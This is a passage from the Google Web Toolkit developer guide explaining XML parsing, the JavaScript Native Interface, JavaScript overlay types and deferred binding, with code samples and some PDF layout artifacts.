Typically, you will receive JSON data as the response text of an HTTP request. Thus, you'll first have to convert that String into a Object that you can work with using a method like the one shown above. The recommended way for interacting with JavaScriptObjects is to use JavaScript Overlay Types.

Mashups with JSON and JSNI
If you're loading JSON-encoded data from your own server, you'll typically use the RequestBuilder and related classes to make HTTP requests. However, you can also retrieve JSON from remote servers in true mashup fashion using GWT's JavaScript Native Interface (JSNI) functionality. The techniques for cross-site JSON is explained more fully in the getting started tutorial. To see a working example, check out the Cross-site Client-Server Communication section of the Getting Started guide.

202 / 469

4.3.7.

Working with XML

Extensible Markup Language (XML) is a data format commonly used in modern web applications. XML uses custom tags to describe data and is encoded as plain text, making it both flexible and easy to work with. The GWT class library contains a set of types designed for processing XML data. 1. XML types 2. Parsing XML 3. Building an XML document

XML types
The XML types provided by GWT can be found in the com.google.gwt.xml.client package. In order to use these in your application, you'll need to add the following <inherits> tag to your module XML file:
<inherits name="com.google.gwt.xml.XML" />

Parsing XML
To demonstrate how to parse XML with GWT, we'll use the following XML document that contains an email message:
<?xml version="1.0" ?> <message> <header> <to displayName="Richard" address="rick@school.edu" /> <from displayName="Joyce" address="joyce@website.com" /> <sent>2007-05-12T12:03:55Z</sent> <subject>Re: Flight info</subject> </header> <body>I'll pick you up at the airport at 8:30. See you then!</body> </message>

Suppose that you're writing an email application and need to extract the name of the sender, the subject line, and the message body from the XML. Here is sample code that will do just that (we'll explain the code in just a bit):
private void parseMessage(String messageXml) { try { // parse the XML document into a DOM Document messageDom = XMLParser.parse(messageXml); // find the sender's display name in an attribute of the <from> tag Node fromNode = messageDom.getElementsByTagName("from").item(0); String from = ((Element)fromNode).getAttribute("displayName"); fromLabel.setText(from); // get the subject using Node's getNodeValue() function String subject = messageDom.getElementsByTagName("subject").item(0).getFirstChild().getNodeValue(); subjectLabel.setText(subject); // get the message body by explicitly casting to a Text node Text bodyNode = (Text)messageDom.getElementsByTagName("body").item(0).getFirstChild(); String body = bodyNode.getData(); bodyLabel.setText(body); } catch (DOMException e) { Window.alert("Could not parse XML document."); } }

The first step is to parse the raw XML text into an XML DOM structure we can use to navigate the data. GWT's XML parser is contained in the XMLParser class. Call its parse(String) static method to parse the XML and return a Document object. If an error occurs during parsing (for example, if the XML is not well-formed), the XMLParser will throw a DOMException. If parsing succeeds, the Document object we receive represents the XML document in memory. It is a tree composed of generic Node objects. A node in the XML DOM is the basic unit of data in an XML document. GWT contains several subinterfaces of Node which provide specialized methods for processing the various types of nodes:

203 / 469

• • • •

Element - represents DOM elements, which are specified by tags in XML: <someElement></someElement>. Text - represents the text between the opening and closing tag of an element: <someElement>Here is some text.</someElement>. Comment - represents an XML comment: <!-- notes about this data -->. Attr - represents an attribute of an element: <someElement myAttribute="123" />.

Refer to the documentation for the Node interface for a complete list of types that derive from Node. To get to the DOM nodes from the Document object, we can use one of three methods. The getDocumentElement() method retrieves the document element (the top element at the root of the DOM tree) as an Element. We can then use the navigation methods of the Node class from which Element derives (e.g., getChildNodes(), getNextSibling(), getParentNode(), etc.) to drill down and retrieve the data we need. We can also go directly to a particular node or list of nodes using the getElementById(String) and getElementsByTagName(String) methods. The getElementById(String) method will retrieve the Element with the specified ID. If you want to use ID's in your XML, you'll need to supply the name of the attribute to use as the ID in the DTD of the XML document (just setting an attribute named id will not work). The getElementsByTagName(String) method is useful if you want to retrieve one or more elements with a particular tag name. The list of elements will be returned in the form of a NodeList object, which can be iterated over to get the individual Nodes it contains. In the example code, we use the getElementsByTagName(String) method to retrieve the necessary elements from the XML containing the email message. The sender's name is stored as an attribute of the <from> tag, so we use getAttribute(String). The subject line is stored as text inside the <subject> tag, so we first find the subject element, and then retrieve its first (and only) child node and call getNodeValue() on it to get the text. Finally, the message body is stored in the same way (text within the <body> tag), but this time we explicitly cast the Node to a Text object and extract the text using getData().

Building an XML document
In addition to parsing existing documents, the GWT XML types can also be used to create and modify XML. To create a new XML document, call the static createDocument() method of the XMLParser class. You can then use the methods of the resulting Document to create elements, text nodes, and other XML nodes. These nodes can be added to the DOM tree using the appendChild(Node) and insertBefore(Node, Node) methods. Node also has methods for replacing and removing child nodes (replaceChild(Node, Node) and removeChild(Node), respectively).

204 / 469

4.3.8.

JavaScript Native Interface (JSNI)

Often, you will need to integrate GWT with existing handwritten JavaScript or with a third-party JavaScript library. Occasionally you may need to access low-level browser functionality not exposed by the GWT class API's. The JavaScript Native Interface (JSNI) feature of GWT can solve both of these problems by allowing you to integrate JavaScript directly into your application's Java source code. The GWT compiler translates Java source into JavaScript. Sometimes it's very useful to mix handwritten JavaScript into your Java source code. For example, the lowest-level functionality of certain core GWT classes are handwritten in JavaScript. GWT borrows from the Java Native Interface (JNI) concept to implement JavaScript Native Interface (JSNI). Writing JSNI methods is a powerful technique, but should be used sparingly because writing bulletproof JavaScript code is notoriously tricky. JSNI code is potentially less portable across browsers, more likely to leak memory, less amenable to Java tools, and harder for the compiler to optimize. We think of JSNI as the web equivalent of inline assembly code. You can use it in many ways: • • • • • • Implement a Java method directly in JavaScript Wrap type-safe Java method signatures around existing JavaScript Call from JavaScript code into Java code and vice-versa Throw exceptions across Java/JavaScript boundaries Read and write Java fields from JavaScript Use development mode to debug both Java source (with a Java debugger) and JavaScript (with a script debugger)

1. 2. 3. 4. 5. 6. 7. 8.

Writing Native JavaScript Methods Accessing Java Methods and Fields from JavaScript Calling a Java Method from Handwritten JavaScript Sharing objects between Java source and JavaScript Passing Java values into JavaScript Passing JavaScript values into Java code Important Notes Exceptions and JSNI

Writing Native JavaScript Methods
JSNI methods are declared native and contain JavaScript code in a specially formatted comment block between the end of the parameter list and the trailing semicolon. A JSNI comment block begins with the exact token /*-{ and ends with the exact token }-*/. JSNI methods are called just like any normal Java method. They can be static or instance methods. The JSNI syntax is a directive to the Java-to-JavaScript Compiler to accept any text between the comment statements as valid JS code and inject it inline in the generated GWT files. At compile time, the GWT compiler performs some syntax checks on the JavaScript inside the method, then generates interface code for converting method arguments and return values properly. As of the GWT 1.5 release, the Java varargs construct is supported. The GWT compiler will translate varargs calls between 2 pieces of Java code. However, calling a varargs JavaScript method from Java will result in the callee receiving the arguments in an array.

Examples
Here is a simple example of how to code a JSNI method that puts up a JavaScript alert dialog:
public static native void alert(String msg) /*-{ $wnd.alert(msg); }-*/;

Note that the code did not reference the JavaScript window object directly inside the method. When accessing the browser's window and document objects from JSNI, you must reference them as $wnd and $doc, respectively. Your compiled script runs in a nested frame, and $wnd and $doc are automatically initialized to correctly refer to the host page's window and document. Here is another example with a problem:

205 / 469

public static native int badExample() /*-{ return "Not A Number"; }-*/; public void onClick () { try { int myValue = badExample(); GWT.log("Got value " + myValue, null); } catch (Exception e) { GWT.log("JSNI method badExample() threw an exception:", e); } }

This example compiles as Java, and its syntax is verified by the GWT compiler as valid JavaScript. But when you run the example code in development mode, it returns an exception. Click on the line in the log window to display the exception in the message area below:
com.google.gwt.dev.shell.HostedModeException: invokeNativeInteger(@com.example.client.GWTObjectNotifyTest::badExample()): JS value of type string, expected int at com.google.gwt.dev.shell.JsValueGlue.getIntRange(JsValueGlue.java:343) at com.google.gwt.dev.shell.JsValueGlue.get(JsValueGlue.java:179) at com.google.gwt.dev.shell.ModuleSpace.invokeNativeInt(ModuleSpace.java:233) at com.google.gwt.dev.shell.JavaScriptHost.invokeNativeInt(JavaScriptHost.java:97) at com.example.client.GWTObjectNotifyTest.badExample(GWTObjectNotifyTest.java:29) at com.example.client.GWTObjectNotifyTest$1.onClick(GWTObjectNotifyTest.java:52) ...

In this case, neither the Java IDE nor the GWT compiler could tell that there was a type mismatch between the code inside the JSNI method and the Java declaration. The GWT generated interface code caught the problem at runtime in development mode. When running in production mode, you will not see an exception. JavaScript's dynamic typing obscures this kind of problem. Tip: Since JSNI code is just regular JavaScript, you will not be able to use Java debugging tools inside your JSNI methods when running in development mode. However, you can set a breakpoint on the source line containing the opening brace of a JSNI method, allowing you to see invocation arguments. Also, the Java compiler and GWT compiler do not perform any syntax or semantic checks on JSNI code, so any errors in the JavaScript body of the method will not be seen until run time.

Accessing Java Methods and Fields from JavaScript
It can be very useful to manipulate Java objects from within the JavaScript implementation of a JSNI method. However, since JavaScript uses dynamic typing and Java uses static typing, you must use a special syntax. Tip: When writing JSNI code, it is helpful to occasionally run in production mode. The JavaScript compiler checks your JSNI code and can flag errors at compile time that you would not catch until runtime in development mode.

Invoking Java methods from JavaScript
Calling Java methods from JavaScript is somewhat similar to calling Java methods from C code in JNI. In particular, JSNI borrows the JNI mangled method signature approach to distinguish among overloaded methods. JavaScript calls into Java methods are of the following form:
[instance-expr.]@class-name::method-name(param-signature)(arguments)

• • • •

instance-expr. : must be present when calling an instance method and must be absent when calling a static method class-name : is the fully-qualified name of the class in which the method is declared (or a subclass thereof) param-signature : is the internal Java method signature as specified at JNI Type Signatures but without the trailing signature of the method return type since it is not needed to choose the overload arguments : is the actual argument list to pass to the called method

206 / 469

Invoking Java constructors from JavaScript
Calling Java constructors from JavaScript is identical to the above use case, except that the method name is alway new. Given the following Java classes:
package pkg; class TopLevel { public TopLevel() { ... } public TopLevel(int i) { ... } static class StaticInner { public StaticInner() { ... } } class InstanceInner { public InstanceInner(int i) { ... } } }

We compare the Java expression versus the JSNI expression: • • • new TopLevel() becomes @pkg.TopLevel::new()() new StaticInner() becomes @pkg.TopLevel.StaticInner::new()() someTopLevelInstance.new InstanceInner(123) becomes @pkg.TopLevel.InstanceInner::new(Lpkg/TopLevel;I)(someTopLevelInstance, 123) • The enclosing instance of a non-static class is implicitly defined as the first parameter for constructors of a non-static class. Regardless of how deeply-nested a non-static class is, it only needs a reference to an instance of its immediately-enclosing type.

Accessing Java fields from JavaScript
Static and instance fields can be accessed from handwritten JavaScript. Field references are of the form
[instance-expr.]@class-name::field-name

Example
Here's an example of accessing static and instance fields from JSNI.
public class JSNIExample { String myInstanceField; static int myStaticField; void instanceFoo(String s) { // use s } static void staticFoo(String s) { // use s } public native void bar(JSNIExample x, String s) /*-{ // Call instance method instanceFoo() on this this.@com.google.gwt.examples.JSNIExample::instanceFoo(Ljava/lang/String;)(s); // Call instance method instanceFoo() on x x.@com.google.gwt.examples.JSNIExample::instanceFoo(Ljava/lang/String;)(s); // Call static method staticFoo() @com.google.gwt.examples.JSNIExample::staticFoo(Ljava/lang/String;)(s); // Read instance field on this var val = this.@com.google.gwt.examples.JSNIExample::myInstanceField; // Write instance field on x x.@com.google.gwt.examples.JSNIExample::myInstanceField = val + " and stuff"; // Read static field (no qualifier) @com.google.gwt.examples.JSNIExample::myStaticField = val + " and stuff"; }-*/; }

Tip: As of the GWT 1.5 release, the Java varargs construct is supported. The GWT compiler will translate varargs calls between two pieces of Java code, however, calling a varargs Java method from JSNI will require the JavaScript caller to pass an array of the appropriate type. 207 / 469

Calling a Java Method from Handwritten JavaScript
Sometimes you need to access a method or constructor defined in GWT from outside JavaScript code. This code might be hand-written and included in another java script file, or it could be a part of a third party library. In this case, the GWT compiler will not get a chance to build an interface between your JavaScript code and the GWT generated JavaScript directly. A way to make this kind of relationship work is to assign the method via JSNI to an external, globally visible JavaScript name that can be referenced by your hand-crafted JavaScript code.
package mypackage; public MyUtilityClass { public static int computeLoanInterest(int amt, float interestRate, int term) { ... } public static native void exportStaticMethod() /*-{ $wnd.computeLoanInterest = $entry(@mypackage.MyUtilityClass::computeLoanInterest(IFI)); }-*/; }

Notice that the reference to the exported method has been wrapped in a call to the $entry function. This implicitlydefined function ensures that the Java-derived method is executed with the uncaught exception handler installed and pumps a number of other utility services. The $entry function is reentrant-safe and should be used anywhere that GWT-derived JavaScript may be called into from a non-GWT context. On application initialization, call MyUtilityClass.exportStaticMethod() (e.g. from your GWT Entry Point). This will assign the function to a variable in the window object called computeLoanInterest.

Sharing objects between Java source and JavaScript
Parameters and return types in JSNI methods are declared as Java types. There are very specific rules for how values passing in and out of JavaScript code must be treated. These rules must be followed whether the values enter and leave through normal Java method call semantics or through the special syntax by which Java methods are invoked from JSNI code.

Passing Java values into JavaScript
Incoming Java type String boolean long other numeric primitives JavaScriptObject Java array any other Java Object How it appears to JavaScript code JavaScript string, as in var s = "my string"; JavaScript boolean value, as in var b = true; disallowed (see notes) JavaScript numeric value, as in var x = 42; JavaScriptObject that must have originated from JavaScript code, typically as the return value of some other JSNI method (see notes) opaque value that can only be passed back into Java code opaque value accessible through special syntax

208 / 469

Passing JavaScript values into Java code
Outgoing Java type String boolean long Java numeric primitive JavaScriptObject any other Java Object (including arrays) What must be passed JavaScript string, as in return "boo"; JavaScript boolean value, as in return false; disallowed (see notes) JavaScript numeric value, as in return 19; native JavaScript object, as in return document.createElement("div") (see notes) Java Object of the correct type that must have originated in Java code; Java objects cannot be constructed from "thin air" in JavaScript

Important Notes
• The Java long type cannot be represented in JavaScript as a numeric type, so GWT emulates it using an opaque data structure. This means that JSNI methods cannot process a long as a numeric type. The compiler therefore disallows, by default, directly accessing a long from JSNI: JSNI methods cannot have long as a parameter type or a return type, and they cannot access a long using a JSNI reference. If you find yourself wanting to pass a long into or out of a JSNI method, here are some options: 1. For numbers that fit into type double, use type double instead of type long. 2. For computations that require the full long semantics, rearrange the code so that the computations happen in Java instead of in JavaScript. That way they will use the long emulation. 3. For values meant to be passed through unchanged to Java code, wrap the value in a Long. There are no restrictions on type Long with JSNI methods. 4. If you are sure you know what you are doing, you can add the annotation com.google.gwt.core.client.UnsafeNativeLong to the method. The compiler will then allow you to pass a long into and out of JavaScript. It will still be an opaque data type, however, so the only thing you will be able to do with it will be to pass it back to Java. • Violating any of these marshaling rules in development mode will generate a com.google.gwt.dev.shell.HostedModeException detailing the problem. This exception is not translatable and never thrown in production mode. JavaScriptObject gets special treatment from the GWT compiler and development mode. Its purpose is to provide an opaque representation of native JavaScript objects to Java code. Although Java arrays are not directly usable in JavaScript, there are some helper classes that efficiently achieve a similar effect: JsArray, JsArrayBoolean, JsArrayInteger, JsArrayNumber, and JsArrayString. These classes are wrappers around a native JavaScript array. Java null and JavaScript null are identical and always legal values for any non-primitive Java type. JavaScript undefined is also considered equal to null when passed into Java code (the rules of JavaScript dictate that in JavaScript code, null == undefined is true but null === undefined is false). In previous versions of GWT, undefined was not a legal value to pass into Java.

• •

Exceptions and JSNI
An exception can be thrown during the execution of either normal Java code or the JavaScript code within a JSNI method. When an exception generated within a JSNI method propagates up the call stack and is caught by a Java catch block, the thrown JavaScript exception is wrapped as a JavaScriptException object at the time it is caught. This wrapper object contains only the class name and description of the JavaScript exception that occurred. The recommended practice is to handle JavaScript exceptions in JavaScript code and Java exceptions in Java code. A Java exception can safely retain identity while propagating through a JSNI method.

209 / 469

For example, 1. Java method doFoo() calls JSNI method nativeFoo() 2. nativeFoo() internally calls Java method fooImpl() 3. fooImpl() throws an exception The exception thrown from fooImpl() will propagate through nativeFoo() and can be caught in doFoo(). The exception will retain its type and identity.

4.3.9.

JavaScript Overlay Types

Suppose you're happily using JSNI to call bits of handwritten JavaScript from within your GWT module. It works well, but JSNI only works at the level of individual methods. Some integration scenarios require you to more deeply intertwine JavaScript and Java objects — DOM and JSON programming are two good examples — and so what we really want is a way to interact directly with JavaScript objects from our Java source code. In other words, we want JavaScript objects that look like Java objects when we're coding. GWT 1.5 introduces JavaScript overlay types to make it easy to integrate entire families of JavaScript objects into your GWT project. There are many benefits of this technique, including the ability to use your Java IDE's code completion and refactoring capabilities even as you're working with untyped JavaScript objects.

Example: Easy, efficient JSON
Overlay types are easiest to understand with examples. Suppose we want to access an array of JSON objects representing a set of "customer" entities. The JavaScript structure might look like this:
var jsonData = { "FirstName" { "FirstName" { "FirstName" { "FirstName" ]; [ : : : :

"Jimmy", "LastName" : "Webber" }, "Alan", "LastName" : "Dayal" }, "Keanu", "LastName" : "Spoon" }, "Emily", "LastName" : "Rudnick" }

To superimpose a Java type onto the above structure, you start by subclassing JavaScriptObject, a marker type that GWT uses to denote JavaScript objects. Let's go ahead and add some getters, too.
// An overlay type class Customer extends JavaScriptObject { // Overlay types always have protected, zero-arg ctors protected Customer() { } // Typically, methods on overlay types are JSNI public final native String getFirstName() /*-{ return this.FirstName; }-*/; public final native String getLastName() /*-{ return this.LastName; }-*/; // Note, though, that methods aren't required to be JSNI public final String getFullName() { return getFirstName() + " " + getLastName(); } }

GWT will now understand that any instance of Customer is actually a true JavaScript object that comes from outside your GWT module. This has useful implications. For example, notice the this reference inside getFirstName() and getLastName(). That this is truly the identity of the JavaScript object, so you interact with it exactly as it exists in JavaScript. In this example, we can directly access the JSON fields we know exist, this.FirstName and this.LastName. So, how do you actually get a JavaScript object on which to overlay a Java type? You can't construct it by writing new Customer() because the whole point is to overlay a Java type onto an already existing JavaScript object. Thus, we have to get such an object from the wild using JSNI:

210 / 469

class MyModuleEntryPoint implements EntryPoint { public void onModuleLoad() { Customer c = getFirstCustomer(); // Yay! Now I have a JS object that appears to be a Customer Window.alert("Hello, " + c.getFirstName()); } // Use JSNI to grab the JSON object we care about // The JSON object gets its Java type implicitly // based on the method's return type private native Customer getFirstCustomer() /*-{ // Get a reference to the first customer in the JSON array from earlier return $wnd.jsonData[0]; }-*/; }

Let's clarify what we've done here. We've taken a plain-old-JSON-object (POJSONO, anyone? no?) and created a normal-looking Java type that can be used to interact with it within your GWT code. You get code completion, refactoring, and compile-time checking as you would with any Java code. Yet, you have the flexibility of interacting with arbitrary JavaScript objects, which makes things like accessing JSON services via RequestBuilder a breeze. A quick digression for compiler geeks. Another neat thing about overlay types is that you can augment the Java type without disturbing the underlying JavaScript object. In the example above, notice that we added the getFullName() method. It's purely Java code — it doesn't exist on the underlying JavaScript object — and yet the method is written in terms of the underlying JavaScript object. In other words, the Java view of the JavaScript object can be richer in functionality than the JavaScript view of the same object but without having to modify the underlying JS object, neither the instance nor its prototype. (This is still part of the digression.) This cool wackiness of adding new methods to overlay types is possible because the rules for overlay types by design disallow polymorphic calls; all methods must be final and/or private. Consequently, every method on an overlay type is statically resolvable by the compiler, so there is never a need for dynamic dispatch at runtime. That's why we don't have to muck about with an object's function pointers; the compiler can generate a direct call to the method as if it were a global function, external to the object itself. It's easy to see that a direct function call is faster than an indirect one. Better still, since calls to methods on overlay types can be statically resolved, they are all candidates for automatic inlining, which is a Very Good Thing when you're fighting for performance in a scripting language. Below we'll revisit this to show you just how much this regimen pays off.

JavaScriptObjects and Interfaces
Starting with GWT 2.0, it is permissible for JavaScriptObject subtypes to implement interfaces. Every method defined in an interface may map to at most one method declared in a JavaScriptObject subtype. Practically speaking, this means that only one JavaScriptObject type may implement any given interface, but any number of non-JavaScriptObject types may also implement that interface.
interface Person { String getName(); } /** The JSO implementation of Person. */ class PersonJso extends JavaScriptObject implements Person { protected PersonJso() {} public static native PersonJso create(String name) /*-{ return {name: name}; }-*/; public final native String getName() /*-{ return this.name; }-*/; } /** Any number of non-JSO types may implement the Person interface. */ class PersonImpl implements Person { private final String name; public PersonImpl(String name) { this.name = name; } public String getName() { return name; } }

211 / 469

// Elsewhere class Troll { /** This method doesn't care about whether p is a JSO or not, this makes testing easier. */ public void grindBones(Person p) { String name = p.getName(); ... } }

In the above example, the Person.getName() will be mapped to PersonJso.getName(). Because JavaScriptObject methods must be final, subclasses of PersonJso are allowed since they cannot override getName(). It would be an error to declare class SomeOtherJso extends JavaScriptObject implements Person{} because JavaScriptObjects have no type information at runtime, so Person.getName() could not be unambiguously dispatched.

Example: Lightweight collections
We glossed over something in the example above. The method getFirstCustomer() is pretty unrealistic. You're certainly going to want to be able to access the entire array of customers. Thus, we need an overlay type representing the JavaScript array itself. Fortunately, that's easy:
// w00t! Generics work just fine with overlay types class JsArray<E extends JavaScriptObject> extends JavaScriptObject { protected JsArray() { } public final native int length() /*-{ return this.length; }-*/; public final native E get(int i) /*-{ return this[i]; }-*/; } Now we can write more interesting code: class MyModuleEntryPoint implements EntryPoint { public void onModuleLoad() { JsArray<Customer> cs = getCustomers(); for (int i = 0, n = cs.length(); i < n; ++i) { Window.alert("Hello, " + cs.get(i).getFullName()); } } // Return the whole JSON array, as is private final native JsArray<Customer> getCustomers() /*-{ return $wnd.jsonData; }-*/; }

This is nice clean code, especially considering the flexibility of the plumbing it's built upon. As hinted at earlier, the compiler can do pretty fancy stuff to make this quite efficient. Take a look at the unobfuscated compiled output for the onModuleLoad() method:
function $onModuleLoad(){ var cs, i, n; cs = $wnd.jsonData; for (i = 0, n = cs.length; i < n; ++i) { $wnd.alert('Hello, ' + (cs[i].FirstName + ' ' + cs[i].LastName)); } }

This is pretty darn optimized. Even the overhead of the getFullName() method went away. In fact, all of the Java method calls went away. When we say that "GWT gives you affordable abstractions," this is the kind of thing we're talking about. Not only does inlined code run significantly faster, we no longer had to include the function definitions themselves, thus shrinking the script a litte, too. (To be fair, though, inlining can also easily increase script size, so we're careful to strike a balance between size and speed.) It's pretty fun to look back at the original Java source above and try to reason about the sequence of optimizations the compiler had to perform to end up here. Of course, we can't resist showing you the corresponding obfuscated code:
function B(){var a,b,c;a=$wnd.jsonData;for(b=0,c=a.length;b<c;++b){ $wnd.alert(l+(a[b].FirstName+m+a[b].LastName))}}

Notice in this version that the only bits that aren't obfuscated are the identifiers that originated in JavaScript, such as FirstName, LastName, jsonData, etc. That's why, although GWT strives to make it easy to do lots of JavaScript interop, we try hard to persuade people to write as much of their code as possible as pure Java source instead of mixing 212 / 469

with JavaScript. Hopefully now when you hear us say that, you'll understand that we aren't bashing JavaScript — it's just that we can't optimize it as much, which makes us sad.

Putting it all together
Overlay types are a key feature, made available in GWT 1.6. At its simplest, the technique makes direct interop with JavaScript libraries much easier. Hopefully after this post you could imagine how to almost directly port any JavaScript library into GWT as a set of Java types, thus allowing the use of a Java IDE for productive development and debugging without impacting size or speed due to any sort of GWT overhead. At the same time, overlay types serve as a powerful abstraction tool for delivering more elegant low-level APIs such as the the new GWT DOM package. For more information... • Surprisingly Rockin' JavaScript and DOM Programming - This video (or the associated slides) from Google I/O is the best place to get an end-to-end explanation of overlay types in context. The presentation demonstrates the new GWT DOM classes and explains how we used overlay types to implement everything. It also specifies more detail about constructing your own overlay types. GWT and Client-Server Communication - Also from Google I/O, Miguel Mendez explains various ways in which you can access data from the browser, including how to combine RequestBuilder and overlay types for really convenient JSON access. Design: Overlay Types - Read at your own risk :-) These are the excruciating technical details. It's fairly interesting but not necessarily instructive.

4.3.10.

Deferred Binding

Deferred binding is a feature of the GWT compiler that works by generating many versions of code at compile time, only one of which needs to be loaded by a particular client during bootstrapping at runtime. Each version is generated on a per browser basis, along with any other axis that your application defines or uses. For example, if you were to internationalize your application using GWT's Internationalization module, the GWT compiler would generate various versions of your application per browser environment, such as "Firefox in English", "Firefox in French", "Internet Explorer in English", etc... As a result, the deployed JavaScript code is compact and quicker to download than hand coded JavaScript, containing only the code and resources it needs for a particular browser environment. 1. 2. 3. 4. 5. 6. 7. 8. Deferred Binding Benefits Defining Deferred Binding Rules Directives in Module XML files Deferred Binding Using Replacement Example Class Hierarchy using Replacement Deferred Binding using Generators Generator Configuration in Module XML Generator Implementation

Deferred Binding Benefits
Deferred Binding is a technique used by the GWT compiler to create and select a specific implementation of a class based on a set of parameters. In essence, deferred binding is the Google Web Toolkit answer to Java reflection. It allows the GWT developer to produce several variations of their applications custom to each browser environment and have only one of them actually downloaded and executed in the browser. Deferred binding has several benefits: • • • Reduces the size of the generated JavaScript code that a client will need to download by only including the code needed to run a particular browser/locale instance (used by the Internationalization module) Saves development time by automatically generating code to implement an interface or create a proxy class (used by the GWT RPC module) Since the implementations are pre-bound at compile time, there is no run-time penalty to look up an implementation in a data structure as with dynamic binding or using virtual functions.

Some parts of the toolkit make implicit use of deferred binding, that is, they use the technique as a part of their implementation, but it is not visible to the user of the API. For example, many widgets and panels as well as the DOM class use this technique to implement browser specific logic. Other GWT features require the API user to explicity invoke deferred binding by designing classes that follow specific rules and instantiating instances of the classes with GWT.create(Class), including GWT RPC and I18N. 213 / 469

As a user of the Google Web Toolkit, you may never need to create a new interface that uses deferred binding. If you follow the instructions in the guide for creating internationalized applications or GWT RPC calls you will be using deferred binding, but you will not have to actually write any browser dependent or locale dependent code. The rest of the deferred binding section describes how to create new rules and classes using deferred binding. If you are new to the toolkit or only intend to use pre-packaged widgets, you will probably want to skip on to the next topic. If you are interested in programming entirely new widgets from the ground up or other functionality that requires cross-browser dependent code, the next sections should be of interest.

Defining Deferred Binding Rules
There are two ways in which types can be replaced via deferred binding: • • Replacement: A type is replaced with another depending on a set of configurable rules. Code generation: A type is substituted by the result of invoking a code genreator at compile time.

Directives in Module XML files
The deferred binding mechanism is completely configurable and does not require editing the GWT distributed source code. Deferred binding is configured through the <replace-with> and <generate-with> elements in the module XML files. The deferred binding rules are pulled into the module build through <inherits> elements. For example, the following configuration invokes deferred binding for the PopupPanel widget: • • • Top level <module>.gwt.xml inherits com.google.gwt.user.User com/google/gwt/user/User.gwt.xml inherits com.google.gwt.user.Popup com/google/gwt/user/Popup.gwt.xml contains <replace-with> elements to define deferred binding rules for the PopupPanel class.

Inside the PopupPanel module XML file, there happens to be some rules defined for deferred binding. In this case, we're using a replacement rule.

Deferred Binding Using Replacement
The first type of deferred binding uses replacement. Replacement means overriding the implementation of one java class with another that is determined at compile time. For example, this technique is used to conditionalize the implementation of some widgets, such as the PopupPanel. The use of <inherits> for the PopupPanel class is shown in the previous section describing the deferred binding rules. The actual replacement rules are specified in Popup.gwt.xml, as shown below:
<module> <!-- ... other configuration omitted ... --> <!-- Fall through to this rule is the browser isn't IE or Mozilla --> <replace-with class="com.google.gwt.user.client.ui.impl.PopupImpl"> <when-type-is class="com.google.gwt.user.client.ui.impl.PopupImpl"/> </replace-with> <!-- Mozilla needs a different implementation due to issue #410 --> <replace-with class="com.google.gwt.user.client.ui.impl.PopupImplMozilla"> <when-type-is class="com.google.gwt.user.client.ui.impl.PopupImpl" /> <any> <when-property-is name="user.agent" value="gecko"/> <when-property-is name="user.agent" value="gecko1_8" /> </any> </replace-with> <!-- IE has a completely different popup implementation --> <replace-with class="com.google.gwt.user.client.ui.impl.PopupImplIE6"> <when-type-is class="com.google.gwt.user.client.ui.impl.PopupImpl"/> <when-property-is name="user.agent" value="ie6" /> </replace-with> </module>

These directives tell the GWT compiler to swap out the PoupImpl class code with different class implementations according to the the user.agent property. The Popup.gwt.xml file specifies a default implementation for the PopupImpl class, an overide for the Mozilla browser (PopupImplMozilla is substituted for PopupImpl), and an override for Internet Explorer version 6 (PopupImplIE6 is substituted for PopupImpl). Note that PopupImpl class or its derived classes cannot be instantiated directly. Instead, the PopupPanel class is used and the GWT.create(Class) technique is used under the hood to instruct the compiler to use deferred binding. 214 / 469

Example Class Hierarchy using Replacement
To see how this is used when designing a widget, we will examine the case of the PopupPanel widget further. The PopupPanel class implements the user visible API and contains logic that is common to all browsers. It also instantiates the proper implementation specific logic using the GWT.create(Class) as follows:
private static final PopupImpl impl = GWT.create(PopupImpl.class);

The two classes PopupImplMozilla and PopupImplIE6 extend the PopupImpl class and override some PopupImpl's methods to implement browser specific behavior. Then, when the PopupPanel class needs to switch to some browser dependent code, it accesses a member function inside the PopupImpl class:
public void setVisible(boolean visible) { // ... common code for all implementations of PopupPanel ... // If the PopupImpl creates an iframe shim, it's also necessary to hide it // as well. impl.setVisible(getElement(), visible); }

The default implementation of PopupImpl.setVisible() is empty, but PopupImplIE6 has some special logic implemented as a JSNI method:
public native void setVisible(Element popup, boolean visible) /*-{ if (popup.__frame) { popup.__frame.style.visibility = visible ? 'visible' : 'hidden'; } }-*/;{

After the GWT compiler runs, it prunes out any unused code. If your application references the PopupPanel class, the compiler will create a separate JavaScript output file for each browser, each containing only one of the implementations: PopupImpl, PopupImplIE6 or PopupImplMozilla. This means that each browser only downloads the implementation it needs, thus reducing the size of the output JavaScript code and minimizing the time needed to download your application from the server.

Deferred Binding using Generators
The second technique for deferred binding consists of using generators. Generators are classes that are invoked by the GWT compiler to generate a Java implementation of a class during compilation. When compiling for production mode, this generated implementation is directly translated to one of the versions of your application in JavaScript code that a client will download based on its browser environment. The following is an example of how a deferred binding generator is specified to the compiler in the module XML file hierarchy for the RemoteService class - used for GWT-RPC: • • • Top level <module>.gwt.xml inherits com.google.gwt.user.User com/google/gwt/user/User.gwt.xml inherits com.googl.gwt.user.RemoteService com/google/gwt/user/RemoteService.gwt.xml contains <generates-with> elements to define deferred binding rules for the RemoteService class.

Generator Configuration in Module XML
The XML element <generate-with> tells the compiler to use a Generator class. Here are the contents of the RemoteService.gwt.xml file relevant to deferred binding:
<module> <!-- ... other configuration omitted ... --> <!-- Default warning for non-static, final fields enabled --> <set-property name="gwt.suppressNonStaticFinalFieldWarnings" value="false" /> <generate-with class="com.google.gwt.user.rebind.rpc.ServiceInterfaceProxyGenerator"> <when-type-assignable class="com.google.gwt.user.client.rpc.RemoteService" /> </generate-with> </module>

215 / 469

These directives instruct the GWT compiler to invoke methods in a Generator subclass (ServiceInterfaceProxyGenerator) in order to generate special code when the deferred binding mechanism GWT.create() is encountered while compiling. In this case, if the GWT.create() call references an instance of RemoteService or one of its subclasses, the ServiceInterfaceProxyGenerator's generate()` method will be invoked.

Generator Implementation
Defining a subclass of the Generator class is much like defining a plug-in to the GWT compiler. The Generator gets called to generate a Java class definition before the Java to JavaScript conversion occurs. The implementation consists of one method that must output Java code to a file and return the name of the generated class as a string. The following code shows the Generator that is responsible for deferred binding of a RemoteService interface:
